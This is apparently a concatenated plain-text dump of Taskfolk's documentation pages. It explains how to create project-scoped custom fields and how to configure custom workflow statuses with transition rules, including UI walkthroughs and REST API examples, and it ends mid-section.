# Taskfolk documentation and blog, full text > Every page from https://taskfolk.ai/docs and https://taskfolk.ai/blog as plain Markdown. > Product overview, pricing, and the developer/agent surface live in > https://taskfolk.ai/llms.txt. Last updated: 2026-09-24 Changelog: https://taskfolk.ai/changelog License: content may be used for search, AI answers, and model training, with attribution to taskfolk.ai (see /robots.txt). --- # Custom fields in issue tracking URL: https://taskfolk.ai/docs/custom-fields-in-issue-tracking Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, views, Taskfolk Add custom fields in an issue tracker: create project-scoped fields, pick the right kind, make them required, and show them as List columns and filters in Taskfolk. You're writing up a bug. A real one, filed by a real customer, and halfway through you hit a wall: there's nowhere to put the thing that actually matters. Which browser it broke in. How bad it is. The link to the Figma frame the build was supposed to match. Title, assignee, status, priority, labels get you most of the way, but not all the way. That last mile is exactly what custom fields in an issue tracker are for, and this guide walks the whole thing from an empty Fields page to a triage view filtered down to your critical open bugs. By the end you'll be able to: - Create a project-scoped custom field and pick the right one of the 10 kinds. - Add Select and Multi-select options, and scope a field to work types like Bug or Story. - Make a field required, and know exactly when that requirement bites. - Enter values on an issue, then surface them as List columns and filters. - Understand the real limits: what you can't change, what can't be filtered, and what custom fields don't touch. ## What custom fields are, and when you actually need one Most work fits the built-in fields. A task has a title, an owner, a status, maybe a priority and a couple of labels. That covers the bulk of what any team tracks day to day. But every team hits the case those fields can't hold. A QA engineer files a bug and wants to record the browser it happened in. A product manager writes a story and wants a Severity so triage isn't a guess. A designer wants the spec link sitting on the ticket instead of buried three comments down. None of that fits "assignee" or "priority." That's the gap. Custom fields let you capture that extra structured data, typed and consistent, on the issues that need it. Here's the one concept to lock in before you click anything: in Taskfolk, custom fields are **project-scoped**. Not workspace-wide. The WEB project defines its own set. Another project defines its own, separately. Build a great Severity field on WEB and want the same on a second project? You create it again over there. This trips people up, so hold onto it. No global fields. No field that follows you between projects. If that sounds like Jira's field configurability, it is, roughly. The difference is weight. You get typed, per-project structure without the schema-migration ceremony. You define a field in a modal, and it's live. One more distinction, because people reach for the wrong tool. Labels are loose tags. You slap them on freely, they're shared across the project, they're great for ad-hoc grouping like "needs-design" or "flaky" or "customer-reported." Custom fields are the opposite. Typed, structured, controlled. A Select field forces one of a fixed list. A Number field only takes numbers. If you want a free-for-all tag, use a label. If you want a value that's the same shape on every issue, use a custom field. ![The Labels page for a project, where free-form tags are created and managed. Labels are loose shared tags for ad-hoc grouping; custom fields are the typed, structured counterpart.](/images/blog/how-to-use-labels-labels-page.webp) ## Open the Fields page for your project Everything starts on the Fields page. Open your project (we'll use the demo WEB project throughout) and look at the top-level project tabs, the same row that holds Board, Backlog, and List. There's a tab labeled **Fields**. Click it. You land on the Custom fields page at `/w/[ws]/p/[project]/fields`. ![The Custom fields page for the WEB project, showing the heading and subtitle, the New field button, and the fields table with Name, Type, Applies to, and Required columns plus drag-handle reorder controls. This is where all custom fields are created and managed.](/images/blog/custom-fields-in-issue-tracking-fields-page.webp) The page leads with the heading **Custom fields** and a subtitle that says what it's for: "Capture extra data on issues. Each field can target specific work types and shows in the issue detail sidebar." Top right, the **New field** button. Below, a table with four columns: **Name**, **Type**, **Applies to**, and **Required**. Each row is one field, with a drag handle and up/down chevrons for reordering. The Type column also shows the option count for Select and Multi-select fields, so you can see at a glance how many choices a picklist carries. On a fresh project the table is empty and reads **No custom fields yet**, with a nudge: "Add a field to capture extra data, like Severity on bugs or a Sprint link on stories." That's your starting line. Worth knowing who sees what. Creating and editing fields is gated behind the `project.edit_settings` permission, which owners and admins have. A plain member or a viewer without it sees the fields read-only, and on an unconfigured project gets "An admin hasn't configured any custom fields for this project." Guests don't see the Fields tab at all. So if a teammate says the tab is missing, it's almost always permissions, not a bug. ## Create your first field and pick the right type Click **New field**. The **New custom field** modal opens. It's small and does one job, but the decisions here matter more than the modal's size suggests. First, **Field name**. The placeholder shows "e.g. Severity" and it caps at 80 characters. Name it for what it holds, in the language your team actually uses. "Severity." "Browser." "Spec link." Clear beats clever. Then the important one: **Type**. It's a searchable combobox ("Search types..."), and it lists exactly 10 kinds. Here they all are, with what each is good for: - **Text** (single line). Free text. Use it when the values are genuinely open-ended and you'll never want to filter by an exact set. - **Number**. Finite numbers, bounded to plus or minus 1,000,000,000. Story points, a count, an estimate in a unit you care about. - **Select** (one of a list). Pick one from a fixed set you define. The workhorse for controlled values. - **Multi-select** (several of a list). Same, but multiple picks allowed. - **Date**. A real calendar date (YYYY-MM-DD). A target date, a discovered-on date, whatever the built-in fields don't give you. - **Checkbox** (yes / no). A simple boolean flag. - **URL**. An external link, validated to start with http:// or https://. - **User** (team member). Points at one person in the workspace. Good for an owner who isn't the assignee, like a reviewer or a QA lead. - **Project** (link a project). References another project in the workspace. - **Doc** (link a doc / page). References a doc or page. That's the full set. User, Project, and Doc each hold a single reference, not many, so don't plan for a "two reviewers" field here. How to choose. The recurring decision is **Select versus Text**. If the values come from a known, small vocabulary (Severity is S1/S2/S3/S4, Browser is Chrome/Firefox/Safari/Edge), use Select. It keeps the data clean, it filters, it colours nicely in the List. Only reach for Text when the value is truly free, like a one-off note. Use **User** when you need a named person who isn't the assignee. Use **URL** for an external link rather than pasting it into the description where it gets lost. If you're unsure, this is the whole decision: ```mermaid flowchart TD A[New field] --> B{Values come from a fixed list?} B -- yes, pick one --> C[Select] B -- yes, pick several --> D[Multi select] B -- no --> E{What shape is the value?} E -- a person --> F[User] E -- a link --> G[URL] E -- a number --> H[Number] E -- a date --> I[Date] E -- yes or no --> J[Checkbox] E -- another project or a doc --> K[Project or Doc] E -- anything else --> L[Text] ``` For our worked example, we'll build a **Severity** field on WEB, kind **Select**. Type the name, pick Select in the combobox. Now the warning that earns its bold. **Type is locked after creation.** The modal says it plainly: "Type can't change after creation." You cannot turn a Text field into a Select later, or a Number into a Date. Get the type wrong and your only fix is to delete the field and rebuild it, which means any values already entered are gone. So decide the type deliberately before you hit **Add field**. This is the single most common mistake people make with custom fields, and it's fully avoidable by thinking for ten seconds about how you'll filter and report on the value first. ## Add options for Select and Multi-select fields The moment you pick Select or Multi-select, the **Options** editor appears in the modal. For any other kind it isn't there. It has no reason to be. Adding options is direct. Type one into the box ("Type an option and press Enter"), then press Enter or click **Add**. Each option becomes a chip with a little × to remove it. Keep going until the list is complete. For our Severity field, add four: **S1**, **S2**, **S3**, **S4**. Four chips, in order. Done. The editor enforces a few rules so you don't fight it. Options are trimmed (leading and trailing whitespace stripped) and de-duplicated (add "S1" twice, you get one). You can have up to 50, and each caps at 80 characters. And you must have at least one. A Select with no options is meaningless, so submitting an empty one returns "Add at least one option for a select field." Now the honest limit, because it surprises people. Options carry **no stored colour**. You don't pick the colour of the S1 chip. When Select values show up as coloured chips in the List view or the filter panel, those colours are derived deterministically from the option's position in the list, not chosen by you. No per-option colour picker. No default value either: an issue starts with the field empty and stays empty until someone sets it. If you were hoping to make S1 red and S4 grey by hand, you can't. The colour is consistent, just not yours to assign. ## Scope a field to the right work types Below the options is **Show on work types**, a row of toggle chips: **Epic**, **Story**, **Task**, **Bug**, **Subtask**. This is how you keep a field off issues it has no business being on. The rule is simple. Toggle the types the field should appear on. Select **none** and the field applies to **all types** (the hint reads "(none = all types)"). Select some and it shows only on those. The payoff is real. Severity only makes sense on a Bug. It's noise on an Epic. So scope our Severity field to **Bug** only. Now when someone opens a Story, Severity isn't there taking up sidebar space and nudging them to think every story needs one. It shows up exactly where it belongs. Mechanically this drives two surfaces. The new-issue dialog and the issue detail sidebar only render a field when its "applies to" is empty (all types) or includes that specific issue's type. So a Bug-scoped field appears on bugs and nowhere else, in both the create flow and the open issue. Another example: a "Story points" style **Number** field. Scope it to **Story** and **Task**, so estimates show up on the work you actually estimate and stay off epics and subtasks. ## Make a field required (and know when it's enforced) The last control in the modal is the **Required** toggle. Its label spells out the contract: "Must be filled in before a matching issue can be created." Here's precisely where it bites, because "required" is only as useful as knowing when it's checked. Two places. 1. **The create-issue dialog.** Create a new issue whose type matches the field's scope, and a required field blocks submit until it's filled. You'll see `"{name}" is required.` on the field and a summary like "Fill the required fields: {names}." If Severity is required on Bugs, you cannot file a bug on WEB without setting a severity. That's the point. 2. **Server-side.** It's not just front-end polish. A required field can't be cleared back to null. The server rejects that in `setFieldValue`. So nobody blanks it out later through a side door. Now the catch, and people assume it the wrong way around. There is **no bulk backfill**. Turn on Required for a field that already exists and it does **not** go back and force every old issue to suddenly have a value. It applies forward: to new matching issues at create time, and to future attempts to clear the field. Your two hundred existing bugs without a severity stay exactly as they are. If you need them filled, that's a manual pass, one issue at a time. Practical advice: don't require everything. It's tempting to enforce discipline by making five fields mandatory, and then every bug report becomes a form-filling chore. People resent it, or they route around it with vaguer titles and issues filed elsewhere. Require the one or two fields that genuinely must be there. Leave the rest optional. ## Enter custom-field values on an issue Fields defined, now put data in them. Open any issue and look at the detail sidebar. There's a **Project fields** section (the CustomFieldsCard) listing every field that applies to this issue's type. Take a real WEB ticket, something like "Timeline + Summary tab" on the board. Open it, and if that ticket's type matches your fields, they're right there in the rail. ![An issue detail page with the right-hand sidebar, where project fields live alongside the other issue properties.](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) The input matches the kind, which is the whole reason typed fields beat free text: - **Select / User / Project / Doc**: a Combobox. Search and pick one. Project and Doc show an **Open** link next to the value so you can jump to the referenced item. - **Multi-select**: chip toggles. Click to add and remove several. - **Checkbox**: a Switch. On or off. - **Date**: a DatePicker. - **Number / Text / URL**: the matching input. Required fields are marked so there's no guessing which ones the create flow will insist on. Everything you enter is validated and coerced server-side to the field's kind. This is not decoration. A **URL** must start with http:// or https:// or it's rejected. A **Number** must be finite and within plus or minus 1,000,000,000. A **Date** must be a real YYYY-MM-DD. A **Select** value must match one of the options you defined. A **User**, **Project**, or **Doc** must resolve to an actual member, project, or doc in the workspace. You can't stuff a Select with a value that isn't in its list, and you can't sneak a bad date past it. The data stays the shape you designed. One permission note that catches people. Setting a value on an issue uses the **same permission as editing the issue itself**, not the field-settings permission. So `issue.edit_own` for your own issues, `issue.edit_any` otherwise. Anyone who can edit a ticket can fill its custom fields. You don't need to be an admin to set Severity on a bug you're working. You just need to be able to edit that bug. If you want the fuller picture of where required fields stop you during creation, [how to create an issue](/docs/how-to-create-an-issue) walks through the new-issue flow, which is where a required custom field first blocks submit. ## Show custom fields as columns in the List view The sidebar is fine for one issue at a time. The real leverage shows up when you can see a field across a whole list of issues. Switch to the List view and open the **Columns** menu. Your custom fields appear in that menu below the base columns (title, status, assignee, and the rest). Toggle the ones you want on and they become columns in the table. Because visible columns persist in the `?cols=` URL parameter, the view is shareable: turn on Severity and Browser, copy the URL, send it to a teammate, and they see the same columns. A clean way to hand someone "all the open bugs with their severity" without them rebuilding the view. The cells render aware of their kind, so the table stays readable: - **Select / Multi-select**: coloured option chips. - **Checkbox**: a check icon when true. - **Date**: formatted, not a raw string. - **Number**: tabular, aligned for scanning. - **URL**: a clickable host link. - **User**: an avatar plus name. The honest limit here: custom-field values live in **two** places, the issue detail sidebar and these opt-in List columns. They are **not** shown on the Kanban board cards. The board stays lean with its title, assignee, and priority. ```mermaid flowchart LR V[Custom field value] --> S[Issue detail sidebar] V --> C[List columns] V --> F[Fields filter] V --> A[REST API] V -. never shown .-> B[Board cards] ``` If you want to see Severity across your work at a glance, the List view is where you do it, not the board. Plan around that, because teams that live on the board sometimes expect the custom field to ride along on the card, and it doesn't. Once you've got columns, arranging and sorting the list is its own small skill. [How to filter and sort issues](/docs/how-to-filter-and-sort-issues) covers the view controls in depth. ## Filter issues by a custom field Columns let you see the values. Filtering lets you narrow to the ones that matter. In List view, find the **Fields** filter pill (it has a slider icon) and open it. You get a panel with one control per filterable field, each fit to the kind: - **Select / Multi-select**: option chips. Click the ones you want to match. - **User**: member rows. - **Checkbox**: an Any / Checked / Unchecked toggle. - **Number**: a Min and Max range. - **Date**: a From and To range. - **Text / URL**: a "Contains..." box, a substring match. ![The List view with its filter controls along the top, where the Fields pill sits next to the built-in status, type, and assignee filters.](/images/blog/how-to-filter-and-sort-issues-overview.webp) The pill shows an active-count badge so you can tell at a glance how many field filters are on, and **Clear** resets them. Active field filters persist in the URL too, one `cf.` parameter per field, so a filtered view is as shareable as a column setup. Worked example, the payoff for everything so far. On WEB, filter to **Severity = S1** and keep the built-in open filter on. Now you're looking at exactly your critical open bugs, nothing else. That's the triage list you actually wanted, and it took two clicks because you made Severity a typed Select instead of a note in the description. The honest limit: the Fields filter does **not** support Project or Doc kinds. The filterable set is text, url, number, select, multi-select, date, checkbox, and user. Build a "Related project" field and you can see it as a column, but you can't filter the list by it. Also note that Text and URL both filter as a "Contains..." substring, not an exact match. Usually what you want anyway, but worth knowing when a partial string pulls in more than you expected. ## Edit, reorder, and delete fields later Fields aren't set in stone (except the one thing that is). Back on the Fields page table, you manage everything in place. **Rename** a field by editing its Name inline. Enter saves, Escape cancels. **Change what it applies to** through a popover on the "Applies to" cell. **Toggle Required** by clicking the badge in the Required column. For the fuller edit (Name, Options for Select kinds, Applies-to, and Required at once) click the **pencil** to open the **Edit field** modal. One thing stays greyed out there: **Type**. Still locked, still "Type can't change after creation." Everything else is fair game. **Reorder** fields with the drag handle or the up/down chevrons. Order matters. It's stored as a LexoRank rank and controls the order fields appear in, both in the issue sidebar and in the create dialog. So put the field people fill most at the top. Reordering is optimistic (it moves instantly) and persists through `reorderFieldDef`, so what you see is what sticks. **Delete** a field with the × on its row, which pops a confirm dialog. Here's the honest bit. Delete is a **soft-delete** under the hood (it sets a `deletedAt`), so the field stops showing everywhere. But the UI does not present this as an undo or restore flow. There's no "recently deleted fields" bin to click and bring it back. Treat delete as permanent. If you're not sure, don't delete. Unscope the field instead (remove all its work types) or leave it be. ## Script fields over the REST API Everything above is also exposed over the public v1 REST API, with the same option normalisation and value coercion as the in-app actions. If you're scripting issue creation or syncing from another system, your custom fields and their validation come along. They're not an in-app-only convenience. Definitions live under the project. Creating our Severity field from the command line looks like this (the API spells the kinds with underscores, so Multi-select is `multi_select`): ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/custom-field-defs" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "name": "Severity", "kind": "select", "options": ["S1", "S2", "S3", "S4"], "applies_to": ["bug"], "required": true }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/custom-field-defs", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ name: "Severity", kind: "select", options: ["S1", "S2", "S3", "S4"], applies_to: ["bug"], required: true, }), }, ); const field = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/custom-field-defs", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "name": "Severity", "kind": "select", "options": ["S1", "S2", "S3", "S4"], "applies_to": ["bug"], "required": True, }, ) field = res.json() ``` A successful create returns `201` with the new definition, including the `id` you'll use to set values: ```json { "id": "0198f3a2-7c11-7e02-b3d4-9a8e5f6c1d2e", "name": "Severity", "kind": "select", "options": ["S1", "S2", "S3", "S4"], "applies_to": ["bug"], "required": true, "rank": "n" } ``` Setting a value on an issue is a `PUT` against the issue, with the field id in the path. A `null` value clears the field, and the API refuses to clear a required one, exactly like the app: ```bash curl -X PUT "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/custom-fields/0198f3a2-7c11-7e02-b3d4-9a8e5f6c1d2e" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"value": "S1"}' ``` The permission model mirrors the app. Reading needs a key with the `custom_fields:read` scope, writing needs `custom_fields:write`. Managing definitions (create, edit, delete) additionally requires the key's owner to be a project-settings admin, the same `project.edit_settings` gate as the Fields page. Setting a value on an issue only needs the ability to edit that issue. Duplicate names are rejected with a conflict, and a `select` or `multi_select` definition without options is rejected outright. For the wider API picture, [how to use the REST API](/docs/how-to-use-the-rest-api) covers keys, scopes, and error shapes. ## Common mistakes and how to avoid them A short list of the ways people trip over custom fields, all drawn straight from the limits above. 1. **Picking the wrong Type.** It can't change after creation, so a Text field you meant to make a Select is a rebuild, not an edit. Decide before you click Add field. Think about how you'll filter and report on the value first, then pick the type that supports it. 2. **Over-requiring.** Every required field is a gate on issue creation. Require five and filing a bug becomes a chore people route around. Require the one or two that truly must be there. 3. **Expecting a workspace-wide field.** They're per-project. If three projects all need Severity, you build Severity three times. There is no global field. Annoying at setup, but it's the model. 4. **Trying to filter by Project or Doc fields.** Unsupported. Those two kinds show as columns and in the sidebar, but the Fields filter won't touch them. If filtering matters, model the value a different way, maybe a Select. 5. **Expecting fields on board cards.** They live in the sidebar and opt-in List columns only. The board card won't show them. Use the List view for at-a-glance custom-field scanning. 6. **Inventing kinds that don't exist.** There are exactly 10: text, number, select, multi-select, date, checkbox, url, user, project, doc. No currency, no rating, no formula, no email, no phone, no multi-user reference. Model money as a Number, a rating as a Select of 1 to 5, an email as Text or URL. Don't hunt for a kind that isn't there. One more thing as you scale. Fields like Severity and priority are only useful if they're accurate, and keeping hundreds of issues correctly tagged by hand is where discipline slips. If you're triaging at volume, [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) is worth a look for keeping those values honest without a human touching every ticket. Custom fields look small in the modal and change how a team tracks work once they're in place. Pick your types deliberately, scope them tight, require sparingly, and your issues will hold exactly the data you need and nothing you don't. Open the Fields tab on your project and build the first one. --- # Custom workflow statuses URL: https://taskfolk.ai/docs/custom-workflow-statuses Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: workflow, kanban, Taskfolk Build custom Jira-style board columns in Taskfolk and enforce status transition rules across the board, API, bulk edits, and automations. With the honest limits. Your board has one In Progress column and everyone drags cards wherever they feel like. Someone bounces a ticket from review straight back to the backlog. Someone else marks a task done that nobody reviewed. By the end of the sprint your cycle-time chart is fiction, because the board never modeled how your team actually works. That is what custom workflow statuses in the Jira style are for. Instead of a fixed set of columns and free-for-all drag, you define the exact columns your process needs, then set rules for which column a ticket can move to next. Taskfolk gives you both halves: [custom board columns](/docs/how-to-add-board-columns) you can add, rename, recolour, reorder, and delete, and per-status transition rules that enforce the path. You pick the philosophy. Leave transitions open and it behaves like Linear, where anything moves anywhere. Lock them down and you get the Jira-style version, where a reviewed ticket can only go forward to Done or back to In Progress, never sideways into the backlog. The running example here is the WEB demo project. Fresh out of the box it seeds seven columns: Backlog, To Do, In Progress, In Review, Done, plus the two terminal ones, Failed and Cancelled. We are going to add a Code review column, wire up transition rules so nothing skips review, and see exactly where those rules bite. If you have used [a Kanban board](/docs/how-to-use-a-kanban-board) before, the columns will feel familiar. The rules are the new part. ## Why the default columns stop working A board with one In Progress column is fine when there are three of you. Everyone sees everything, and "in progress" genuinely means one thing. Then you grow. Now In Progress covers a ticket someone is actively coding, a ticket parked waiting on a design answer, and a ticket that is technically finished but sitting in a branch nobody has looked at. Different states, one column. The board stops telling you the truth. Worse, people start dragging cards along paths that make no sense. A ticket in In Review gets yanked back to Backlog because someone wanted it out of their face, and now your resolved-date data says that ticket took three weeks when really it just bounced. ![The Taskfolk kanban board for the demo WEB project showing its seven seeded default columns, Backlog, To Do, In Progress, In Review, Done, Failed, Cancelled, with cards spread across them. This is the starting point before any custom columns or transition rules are added.](/images/blog/how-to-use-a-kanban-board-overview.webp) Two schools of thought exist here. Linear says: don't fight it, let people move cards anywhere, trust the team. Jira says: model the process as a state machine and enforce the legal moves. Taskfolk lets you choose per project, and even per column. The default is the Linear way, every status can move anywhere. Turn on transition rules and you get custom workflow statuses in the Jira style, where the board refuses illegal moves at every write path, not just visually on the board. Before you touch a button, though, there is one mental model to get straight. It is the thing that keeps all of this safe. ## Statuses vs status categories: the split that keeps it safe Everything rests on this. Taskfolk keeps two separate ideas apart: the status **category** and the **status** itself. The category is a fixed enum with exactly seven values: backlog, todo, in_progress, in_review, done, failed, cancelled. You cannot invent new ones. That is deliberate. The category is the semantic backbone that reports, the open/done flag, resolved dates, and the public API all read from. When a report says "12 issues open, 4 resolved this week," it is counting categories, not column names. If categories were freely editable, none of that could stay reliable from one project to the next. The status is the named, coloured, ordered column you actually see on the board. Statuses live in a per-project table, and each one maps to exactly one of the seven categories. Every issue carries a `status_id` pointing at its specific column, plus the category that column belongs to. Why bother with two layers? Because it lets you have columns that mean different things to a human but the same thing to the machine. Add a Code review column and a QA column that both map to the in_review category. On the board they are two distinct stops with two distinct colours. In your reports, both correctly count as "open, being reviewed." ```mermaid flowchart LR CR[Code review column] --> IR[in_review category] QA[QA column] --> IR IR --> RP[Reports and resolved dates] IR --> API[Public API status] ``` You get the detail your process needs without lying to your metrics. So here is the honest limit, up front. You get unlimited freedom in naming and colouring columns, and zero ability to invent new categories. Seven is the ceiling on categories, permanently. Everything you build maps onto those seven. Once that clicks, the rest is mechanical. ## Where to manage board statuses There are two places to manage columns, and they are the same feature writing to the same table. Use whichever is closer to hand. The first is project Settings, under the Board statuses tab. The direct URL is `/w//p//settings?tab=statuses`. This is the full surface: every column laid out in a list with all its controls visible at once. Good for a deliberate setup pass. The second is the board itself. The trailing "+" at the right end of the columns adds a new one, and each column header has a kebab menu (the three-dots icon) for rename, recolour, recategorise, move, and delete. Good for a quick tweak while you are looking at the actual work. One gate to know about. Managing statuses needs the `project.edit_settings` permission. That is owners and admins, and members too depending on your workspace's role matrix. If you are a viewer, or a member without that permission, you still see every column and every workflow rule, just rendered as static badges instead of editable controls. Nothing is hidden from you. You just cannot change it. Look at the Board statuses card in Settings. It has a create row at the top (a name input, a category select, colour swatches with a custom picker, and an Add status button). Below it sits the list of existing columns. On the WEB project that list is the seven seeded defaults: Backlog, To Do, In Progress, In Review, Done, Failed, Cancelled. Each row shows up and down reorder chevrons, a colour swatch, the name, a category select, a live count of how many issues sit in that column, and a Delete button. ![The Board statuses card in project Settings, showing the create row (Status name input, Category select, colour swatches, Add status button) above the list of the WEB project's seven seeded columns, each with reorder chevrons, a colour swatch, a category select, a live issue count, and a Delete button. This is the core surface for building custom columns and the live count that tells you what a change will touch.](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) That live issue count matters more than it looks. It is your safety check before you delete or recategorise anything, because it tells you how many tickets a change is about to touch. ## Add, rename, and recolour a column Adding a column is the create row at the top of the Board statuses card. Three things to fill in. **Type a name** in the Status name field. Names run up to 80 characters, though shorter reads better on a board column. For our example, type `Code review`. **Pick a category.** The create row defaults to in_progress, but Code review is a review stage, so set it to in_review. This is the choice that actually matters, not the name. The name is for humans; the category is what your reports read. A column called "Code review" miscategorised as in_progress will quietly under-count your review load, and you will not notice until a metric looks wrong. **Pick a colour.** There are eight presets: `#6B6F7A`, `#A4A8B2`, `#FFD60A`, `#4FE8E5`, `#6AF7A8`, `#FF8A3D`, `#FF3B6B`, `#B47CFF`. Or click the custom picker and enter any 6-digit hex in the form `#RRGGBB`. Since In Review already exists, pick something adjacent but distinct so the two review stages do not blur into each other on the board. The presets are already tuned to read clearly against the dark board, so any of them is a safe bet. Click Add status. You get a confirmation ("Added \"Code review\".") and the new column appears in the list. Two rules to know. Duplicate names are rejected case-insensitively, so you cannot have both "Code review" and "code review." And there is a hard ceiling of 12 live statuses per project. That sounds generous until you remember seven defaults are already spending your budget, so add stages thoughtfully. Renaming and recolouring existing columns happens inline on their rows. Click into the name to edit it, click the swatch to change the colour. No separate dialog. The change saves and the board reflects it right away. ## Reorder columns so the board reads left to right Column order is not decoration. Your board should mirror how work actually flows, so someone scanning left to right reads a ticket's lifecycle without thinking about it. Backlog on the far left, Done on the far right, everything in between in the order it really happens. Our new Code review column got appended to the end of the list, which is wrong. Code review happens after coding and before final review, so it belongs between In Progress and In Review. Three ways to move it, all persisting the same order through LexoRank under the hood: - In Settings, use the up and down chevrons on the column's row. - On the board, open the column header kebab and pick Move left or Move right. - On the board, drag the column header itself. This one only works if you have `project.edit_settings`; the header is the drag handle. Nudge Code review up until it lands between In Progress and In Review. Now the WEB board reads Backlog, To Do, In Progress, Code review, In Review, Done, and a ticket's journey across the board matches its journey through your process. This is also the moment to notice that the board and Settings really are one feature. Reorder in Settings, the board updates. Drag on the board, Settings updates. One table, two doors. ## Changing a status category, and what it does to your issues Read this section slowly, because changing a category is the one action here that reaches into your data and rewrites it. Each status maps to exactly one category. When you change that mapping, Taskfolk re-stamps every issue currently in that column. Two things happen to each of those issues: - Its `status` (the category) is set to the new value. - Its resolved timestamp is adjusted: moving into a terminal category (done, failed, or cancelled) stamps `resolvedAt` to now, and moving out of a terminal category clears it. That is what keeps velocity and cycle-time honest. An issue's "resolved" moment tracks the actual moment it entered a done-type column. So recategorising a busy column is not a cosmetic tweak. It flips those tickets' open or done state and rewrites their resolved timestamps in one shot. Here is a concrete case. Say you have a Ready to ship column mapped to in_review, holding eight tickets that are approved but not yet deployed. You decide Ready to ship should really count as done, so you flip its category from in_review to done. The instant you save, all eight tickets are marked resolved as of now. Your this-week resolved count jumps by eight. Their cycle-time is computed to this moment. If that is what you meant, good, the data is now correct. If you only wanted to relabel and did not realise eight tickets would flip to resolved, you have a surprise waiting in your reports. So before you change a category on a column that has issues in it, glance at that live count first. It tells you exactly how many tickets are about to be re-stamped. ## Restrict transitions with the Workflow card This is the part people come for, and the actual reason to want custom workflow statuses in the Jira style. Columns alone do not stop the review-to-backlog drag. Transition rules do. Directly below the Board statuses card is the Workflow card. Its job is to control which statuses a ticket can move to from each column. Every status gets a "Can move to" picker. By default that picker reads All statuses, which means unrestricted, move anywhere, the Linear way. To enforce a process, you restrict it to a specific set of targets. ![The Board statuses tab in project settings with the Workflow card visible: each status row has a Can move to picker (default All statuses) and a numeric WIP limit field (default None). This is where per-status transition rules are configured.](/images/blog/how-to-use-a-kanban-board-workflow-settings.webp) The semantics are worth spelling out exactly, because the edge cases are where people get confused: - **All statuses (the default)** means no restriction. Internally this is a null rule. - **A specific subset** means a ticket in this column may only move to the statuses you check. - **An explicit empty list** shows as "No outgoing moves (terminal)." Nothing leaves this column by a normal status change. Useful for a true dead-end state. - **Self-moves are always allowed.** A ticket can stay in its own status no matter what, so nothing ever gets stuck. - **A status never lists itself** as a target in its own picker. - **Deleted-status ids get filtered out** automatically, so a rule pointing at a column you later removed just quietly drops that target. Inside the picker there is also an Allow all statuses toggle that resets that status straight back to unrestricted, so you can experiment and back out cleanly. When you save, you get a "Workflow updated." confirmation. Now the worked example on WEB. We want In Review to be a real gate. A ticket that has been reviewed should go exactly two ways: back to In Progress if it needs more work, or forward to Done if it passed. It should never be draggable straight to Backlog. So open the In Review row's "Can move to" picker, turn off Allow all statuses, and check exactly two targets: In Progress and Done. Save. ```mermaid stateDiagram-v2 state "In Progress" as ip state "Code review" as cr state "In Review" as ir state "Done" as d ip --> cr cr --> ir ir --> ip: needs work ir --> d: approved ``` That is the whole thing. From now on, a reviewed ticket like "Timeline + Summary tab" can only be sent back for fixes or approved. Backlog is simply not reachable from In Review anymore. The lazy drag is impossible, and your cycle-time data stops getting corrupted by tickets that visually un-progressed. The picker shows each target with its colour dot, so you are picking columns by the same colours you read on the board. You do not have to lock down every column. A common pattern is to leave the early columns (Backlog, To Do) wide open and only enforce the back half of the workflow, where the sloppy moves actually hurt your numbers. ## Where the rules actually get enforced A rule that only lives in one dropdown is theatre. The reason to trust Taskfolk's transition rules is that they run server-side at every path that can change a ticket's status. There is no back door. ```mermaid flowchart TD A[Issue page update] --> C{Server transition check} B[Board drag] --> C K[Bulk status change] --> C E[Automation set_status] --> C F[v1 REST and transition API] --> C C -->|allowed| W[Status written] C -->|blocked| X[Rejected, columns named] ``` Here is every write path and what happens when a move is illegal: - **Single-issue update.** Change status on the issue detail page and the server checks the rule before writing. Blocked moves are rejected. - **Board drag-and-drop.** The board uses the exact same update action underneath. An illegal drag is rejected, and because the board move is optimistic, the card visibly snaps back to where it started. You watch the revert happen. - **Bulk status change.** Select twenty tickets, try to move them all to a status some of them cannot legally reach, and the whole batch is blocked with a message telling you how many of the N are blocked. It does not silently move the legal ones and leave you guessing. - **Automation set_status action.** If a rule you wrote would push a ticket somewhere the workflow forbids, the automation skips just that action and logs "workflow blocks" rather than failing the entire rule run. Your other automation steps still fire. - **Public v1 REST and transition API.** An illegal transition comes back as a validation error, code `workflow_transition_blocked`, with the from and to statuses named. The status pickers everywhere (issue detail, the status dot on a board card, the quick-edit menu) are smart about this too. They only offer the currently-allowed targets, while still showing the current status so the selected value renders correctly. You are never offered a move that will be rejected; the illegal options simply are not in the list. The blocked-move message names the columns, so it is never cryptic. It reads: `Workflow: "In Review" cannot move to "Backlog". Transitions are configured in project settings.` Whoever hits it knows exactly what happened and where to change it if the rule is wrong. One safety valve worth knowing. Enforcement resolves the effective "from" status the same way the board does: by `status_id` when the column is live, otherwise by the category's default column. And if the current status genuinely cannot be resolved (a dead or unknown id), the move is allowed. So a ticket can never get trapped in an unresolvable state. Between that and self-moves always being legal, there is no configuration that can wedge a ticket permanently. ## Manage statuses and rules over the v1 API Everything above has an API twin, which matters if an agent or a script is setting up projects for you. Columns live at `/v1/workspaces/{slug}/projects/{key}/statuses` against the base URL `https://taskfolk.ai/api`. Reading them needs the `projects:read` scope; creating, editing, and deleting need `projects:write`. Start by listing the columns, because transition rules are written as status **ids**, not names: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` Each status in the response carries its workflow fields alongside the basics: ```json { "id": "0197a3e2-...", "name": "In Review", "name_ar": null, "color": "#4FE8E5", "category": "in_review", "rank": "n", "allowed_transitions": null, "wip_limit": null } ``` `allowed_transitions: null` is the unrestricted default. To apply the same In Review gate 